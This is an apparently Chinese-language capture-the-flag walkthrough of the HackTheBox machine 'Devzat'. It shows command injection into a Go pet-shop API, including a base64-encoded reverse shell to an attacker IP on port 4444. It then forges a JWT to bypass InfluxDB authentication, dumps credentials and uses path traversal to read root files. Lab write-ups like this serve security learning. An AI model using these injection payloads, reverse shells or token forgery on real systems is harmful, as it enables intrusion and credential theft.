`└─# nmap 10.10.11.118 -p 22,80,8000 -sC -sV --min-rate=200` `Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-21 01:26 EST``Nmap scan report for 10.10.11.118``Host is up (0.38s latency).`` ``PORT STATE SERVICE VERSION``22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)``| ssh-hostkey:` `| 3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)``| 256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)``|_ 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)``80/tcp open http Apache httpd 2.4.41``|_http-server-header: Apache/2.4.41 (Ubuntu)``|_http-title: Did not follow redirect to http://devzat.htb/``8000/tcp open ssh (protocol 2.0)``| fingerprint-strings:` `| NULL:` `|_ SSH-2.0-Go``| ssh-hostkey:` `|_ 3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)``1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :``SF-Port8000-TCP:V=7.92%I=7%D=12/21%Time=61C173B9%P=x86_64-pc-linux-gnu%r(N``SF:ULL,C,"SSH-2\.0-Go\r\n");``Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel`` ``Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .``Nmap done: 1 IP address (1 host up) scanned in 55.89 seconds`` `
写入hosts
`[04:17:55] 200 - 17KB - /LICENSE.txt` `[04:17:56] 200 - 877B - /README.txt` `[04:18:40] 301 - 309B - /assets -> http://devzat.htb/assets/` `[04:18:40] 200 - 1KB - /assets/``[04:19:18] 301 - 309B - /images -> http://devzat.htb/images/` `[04:19:18] 200 - 2KB - /images/``[04:19:20] 200 - 6KB - /index.html` `[04:19:23] 301 - 313B - /javascript -> http://devzat.htb/javascript/`
找一下子域,扫描下vhost。扫到了一个pets
用户名
`Cookie``Mia``Chuck``Balu``Georg``Gustav``Rudi``Bruno`
漏洞挖掘
尝试添加一下宠物没什么反应。
扫下目录发现 .git 还有目录下的一个目录 build 信息泄露
成功导出的目录如下:
`┌──(root💀kali)-[/tmp/dump]``└─# tree``.``├── 0-464614f32483e1fde60ee53f5d3b4d468d80ff62``│ ├── characteristics``│ ├── commit-meta.txt``│ ├── go.mod``│ └── go.sum``├── 1-8274d7a547c0c3854c074579dfc359664082a8f6``│ ├── characteristics``│ ├── commit-meta.txt``│ ├── go.mod``│ └── go.sum``└── 2-ef07a04ebb2fc92cf74a39e0e4b843630666a705` `├── characteristics` `├── commit-meta.txt` `├── go.mod` `├── go.sum` `├── main.go` `└── petshop`` ``6 directories, 11 files`
查看代码发现main.go就是pets.devzat.htb的源代码
`package main`` ``import (` `"embed"` `"encoding/json"` `"fmt"` `"io/fs"` `"io/ioutil"` `"log"` `"net/http"` `"os/exec"` `"time"``)`` ``//go:embed static/public``var web embed.FS`` ``//go:embed static/public/index.html``var index []byte`` ``type Pet struct {` `` Name string `json:"name"` `` `` Species string `json:"species"` `` `` Characteristics string `json:"characteristics"` ```}`` ``var (` `Pets []Pet = []Pet{` `{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},` `{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},` `{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},` `{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},` `{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},` `{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},` `{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},` `{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},` `}``)`` ``func loadCharacter(species string) string {` `cmd := exec.Command("sh", "-c", "cat characteristics/"+species)` `stdoutStderr, err := cmd.CombinedOutput()` `if err != nil {` `return err.Error()` `}` `return string(stdoutStderr)``}`` ``func getPets(w http.ResponseWriter, r *http.Request) {` `json.NewEncoder(w).Encode(Pets)``}`` ``func addPet(w http.ResponseWriter, r *http.Request) {` `reqBody, _ := ioutil.ReadAll(r.Body)` `var addPet Pet` `err := json.Unmarshal(reqBody, &addPet)` `if err != nil {` `e := fmt.Sprintf("There has been an error: %+v", err)` `http.Error(w, e, http.StatusBadRequest)` `return` `}`` ` `addPet.Characteristics = loadCharacter(addPet.Species)` `Pets = append(Pets, addPet)`` ` `w.WriteHeader(http.StatusOK)` `fmt.Fprint(w, "Pet was added successfully")``}`` ``func handleRequest() {` `build, err := fs.Sub(web, "static/public/build")` `if err != nil {` `panic(err)` `}`` ` `css, err := fs.Sub(web, "static/public/css")` `if err != nil {` `panic(err)` `}`` ` `webfonts, err := fs.Sub(web, "static/public/webfonts")` `if err != nil {` `panic(err)` `}`` ` `spaHandler := http.HandlerFunc(spaHandlerFunc)` `// Single page application handler` `http.Handle("/", headerMiddleware(spaHandler))`` ` `// All static folder handler` `http.Handle("/build/", headerMiddleware(http.StripPrefix("/build", http.FileServer(http.FS(build)))))` `http.Handle("/css/", headerMiddleware(http.StripPrefix("/css", http.FileServer(http.FS(css)))))` `http.Handle("/webfonts/", headerMiddleware(http.StripPrefix("/webfonts", http.FileServer(http.FS(webfonts)))))` `http.Handle("/.git/", headerMiddleware(http.StripPrefix("/.git", http.FileServer(http.Dir(".git")))))`` ` `// API routes` `apiHandler := http.HandlerFunc(petHandler)` `http.Handle("/api/pet", headerMiddleware(apiHandler))` `log.Fatal(http.ListenAndServe("127.0.0.1:5000", nil))``}`` ``func spaHandlerFunc(w http.ResponseWriter, r *http.Request) {` `w.WriteHeader(http.StatusOK)` `w.Write(index)``}`` ``func petHandler(w http.ResponseWriter, r *http.Request) {` `// Dispatch by method` `if r.Method == http.MethodPost {` `addPet(w, r)` `} else if r.Method == http.MethodGet {` `getPets(w, r)`` ` `} else {` `http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)` `}` `// TODO: Add Update and Delete``}`` ``func headerMiddleware(next http.Handler) http.Handler {` `return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {` `w.Header().Add("Server", "My genious go pet server")` `next.ServeHTTP(w, r)` `})``}`` ``func main() {` `resetTicker := time.NewTicker(5 * time.Second)` `done := make(chan bool)`` ` `go func() {` `for {` `select {` `case <-done:` `return` `case <-resetTicker.C:` `// Reset Pets to prestaged ones` `Pets = []Pet{` `{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},` `{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},` `{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},` `{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},` `{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},` `{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},` `{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},` `{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},` `}`` ` `}` `}` `}()`` ` `handleRequest()`` ` `time.Sleep(500 * time.Millisecond)` `resetTicker.Stop()` `done <- true``}`` `
源码比较简单,主要逻辑如下:
loadCharacter直接调用了exec.Command(),虽然我不知道这个函数的意思,但是参数是一个命令执行cat。
在addPet()函数中调用loadCharacter()且参数可控。
在petHandler中当发送请求为POST时,将会执行addPet()
在handleRequest()方法中最后将petHandler实例化,设置接口/api/pet。
在main()函数中调用了handleRequest()
调用栈如下:
`main():` `handleRequest()` `petHandler()` `POST -> addHanler()` `loadCharacter()`` exec.Command()`
尝试构造payload:
sh -c cat characteristics/ +`curl 10.10.14.50/123`
curl http://pets.devzat.htb/api/pet -X POST --data '{"name":"123","species":"`curl 10.10.14.50/123`"}'
curl http://pets.devzat.htb/api/pet -X POST --data '{"name":"123","species":"`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTAvNDQ0NCAwPiYxCg== |base64 -d |bash`"}'
发现私钥,尝试连接22端口,失败了?之前的web页面上有说连8000端口 ,而且8000端口开着,作者在这里来了个surprise!!!
先不看这个信息收集一下
`root:x:0:0:root:/root:/bin/bash``sync:x:4:65534:sync:/bin:/bin/sync``patrick:x:1000:1000:patrick:/home/patrick:/bin/bash``catherine:x:1001:1001:catherine,,,:/home/catherine:/bin/bash`
`[+] Looks like we're hosting Docker:``Docker version 20.10.7, build f0df350`
`$ netstat -ant``Active Internet connections (servers and established)``Proto Recv-Q Send-Q Local Address Foreign Address State` `tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN` `tcp 0 0 127.0.0.1:8086 0.0.0.0:* LISTEN` `tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN` `tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN` `tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN` `tcp 0 0 127.0.0.1:49532 127.0.0.1:5000 FIN_WAIT2` `tcp 0 0 127.0.0.1:5000 127.0.0.1:49532 CLOSE_WAIT` `tcp 0 1 10.10.11.118:52254 1.1.1.1:53 SYN_SENT` `tcp 0 0 10.10.11.118:47040 10.10.14.50:4444 CLOSE_WAIT` `tcp 0 0 10.10.11.118:47472 10.10.14.50:4444 ESTABLISHED``tcp6 0 0 :::80 :::* LISTEN` `tcp6 0 0 :::22 :::* LISTEN` `tcp6 0 0 :::8000 :::* LISTEN`` `
本地开有两个端口 8443 8086在服务器是看不出来是什么服务。
有一个ssh连接,走一个ssh隧道
ssh \-L 8086:127.0.0.1:8086 patrick@devzat.htb \-p 8000
不行,换frp
`cat << EOF >3.txt``[common]``server_addr = 10.10.14.50``server_port = 7000`` ``[ssh]``type = tcp``local_ip = 127.0.0.1``local_port = 8086``remote_port = 6000`
`nmap 172.16.0.4 -sV -p 6000``Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-22 23:49 ?D1ú±ê×?ê±??``Nmap scan report for 172.16.0.4``Host is up (0.00s latency).`` ``PORT STATE SERVICE VERSION``6000/tcp open http InfluxDB http admin 1.7.5``MAC Address: 00:0C:29:E9:FA:DE (VMware)`` ``Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .``Nmap done: 1 IP address (1 host up) scanned in 8.17 seconds`
还是无法访问web界面,但是成功扫描到一些目录
\[23:55:47\] 200 \- 2KB \- /debug/pprof
\[23:55:47\] 200 \- 9KB \- /debug/pprof/goroutine?debug\=1
\[23:55:47\] 200 \- 19KB \- /debug/pprof/heap
\[23:56:09\] 200 \- 5KB \- /metrics
\[23:56:21\] 204 \- 0B \- /ping
\[23:56:34\] 204 \- 0B \- /status
\[23:56:34\] 204 \- 0B \- /status?full\=true
curl -G http://127.0.0.1:6000/
{"error":"unable to parse authentication credentials"}
通过网络可以得到InfluxDB http admin 1.7.5存在一个认证绕过的漏洞,认证方法是Jwt,使用python -c "import time;print(time.time())"可以直接获取时间戳,然后创建一个jwt token:
{"alg": "HS256"}
{"username":"admin","exp":1640199606}
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ
C:\\>curl \-G http://172.16.0.4:6000/query \-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" \-i \--data-urlencode "q=show databases"
{"results":\[{"statement\_id":0,"series":\[{"name":"databases","columns":\["name"\],"values":\[\["devzat"\],\["\_internal"\]\]}\]}\]}
C:\\>curl \-G http://172.16.0.4:6000/query?db\=devzat \-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" \--data-urlencode "q=show measurements"
{"results":\[{"statement\_id":0,"series":\[{"name":"measurements","columns":\["name"\],"values":\[\["user"\]\]}\]}\]}
C:\\Users\\Administrator>curl \-G "http://172.16.0.4:6000/query?q=show+field+keys&db=devzat" \-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" \-i
{"results":\[{"statement\_id":0,"series":\[{"name":"user","columns":\["fieldKey","fieldType"\],"values":\[\["enabled","boolean"\],\["password","string"\],\["username","string"\]\]}\]}\]}
C:\\>curl \-G http://172.16.0.4:6000/query?db\=devzat \-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjQwMTk5NjA2fQ.P4YLD0EJs799vYeILkqwvMhvi3BsP20KwkseNQeGeYQ" \--data-urlencode "q=select \* from \\"user\\""
{"results":\[{"statement\_id":0,"series":\[{"name":"user","columns":\["time","enabled","password","username"\],"values":\[\["2021-06-22T20:04:16.313965493Z",false,"WillyWonka2021","wilhelm"\],\["2021-06-22T20:04:16.320782034Z",true,"woBeeYareedahc7Oogeephies7Aiseci","catherine"\],\["2021-06-22T20:04:16.996682002Z",true,"RoyalQueenBee$","charles"\]\]}\]}\]}
找到了catherine用户的密码:
catherine:woBeeYareedahc7Oogeephies7Aiseci
ssh catherine@10.10.11.118
find /var -user catherine 2>/dev/null
在/var/backups目录下找到了两个备份文件devzat-main.zip和devzat-dev.zip
`catherine@devzat:/var/backups$ ls -al``ls -al``total 1132``drwxr-xr-x 2 root root 4096 Dec 23 06:25 .``drwxr-xr-x 14 root root 4096 Jun 22 2021 ..``-rw-r--r-- 1 root root 51200 Dec 23 06:25 alternatives.tar.0``-rw-r--r-- 1 root root 59142 Sep 28 18:45 apt.extended_states.0``-rw-r--r-- 1 root root 6588 Sep 21 20:17 apt.extended_states.1.gz``-rw-r--r-- 1 root root 6602 Jul 16 06:41 apt.extended_states.2.gz``-rw------- 1 catherine catherine 28297 Jul 16 07:00 devzat-dev.zip``-rw------- 1 catherine catherine 27567 Jul 16 07:00 devzat-main.zip``-rw-r--r-- 1 root root 268 Sep 29 11:46 dpkg.diversions.0``-rw-r--r-- 1 root root 170 Jul 16 06:41 dpkg.statoverride.0``-rw-r--r-- 1 root root 951869 Sep 28 18:45 dpkg.status.0`
`catherine@devzat:/tmp/dev$ grep -iR pass``grep -iR pass``devchat.go: u.writeln("patrick", "That's perfectly fine :thumbs_up: You'll need a password which you can gather from the source. I left it in our default backups location.")``commands.go: u.system("Please provide file to print and the password")``commands.go: u.system("You need to provide the correct password to use this function")``commands.go: pass := args[1]``commands.go: // Check my secure password``commands.go: if pass != "CeilingCatStillAThingIn2021?" {``commands.go: u.system("You did provide the wrong password")``testfile.txt:Through me you pass into the city of woe:``testfile.txt:Through me you pass into eternal pain:`
有一个密码CeilingCatStillAThingIn2021?
python3 -c "import pty;pty.spawn('/bin/bash')"
发现root启动了一个进程。
经过比对后发现两份源码关键的变化在
可以使用命令diff
diff dev/commands.go main/commands.go >> diff.txt
`func fileCommand(u *user, args []string) {` `if len(args) < 1 {` `u.system("Please provide file to print and the password")` `return` `}`` ` `if len(args) < 2 {` `u.system("You need to provide the correct password to use this function")` `return` `}`` ` `path := args[0]` `pass := args[1]`` ` `// Check my secure password` `if pass != "CeilingCatStillAThingIn2021?" {` `u.system("You did provide the wrong password")` `return` `}`` ` `// Get CWD 获取目录` `cwd, err := os.Getwd()`` ` `if err != nil {` `u.system(err.Error())` `}`` ` `// Construct path to print 拼接路径` `printPath := filepath.Join(cwd, path)`` ` `// Check if file exists 检查文件是否存在` `if _, err := os.Stat(printPath); err == nil {` `// exists, print` `file, err := os.Open(printPath)//打开文件` `if err != nil {` `u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))` `return` `}` `defer file.Close()//go 语言特性:defer 存在的函数或语句最后执行` `//go中文件读取操作,由于服务是使用root启动的,可以读取root权限的文件。` `scanner := bufio.NewScanner(file)` `for scanner.Scan() {` `u.system(scanner.Text())//` `}`` ` `if err := scanner.Err(); err != nil {` `u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))` `}`` ` `return`` ` `} else if os.IsNotExist(err) {` `// does not exist, print error` `u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))` `return` `}` `// bokred?` `u.system("Something went badly wrong.")``}``func (u *user) system(message string) {//输出函数` `u.term.Write([]byte(red.Paint("[SYSTEM] ") + mdRender(message, 9, u.win.Width) + "\n"))``}`
这段代码中存在可控的文件读取功能。
可以通过控制第一个参数控制路径,通过第二个参数pass绕过检测。
ssh -l root 127.0.0.1 -p 8443
构造payload
file ../../../../etc/passwd CeilingCatStillAThingIn2021?
上传公钥,连接一个稳定ssh再试
成功
喜欢就请关注我们吧!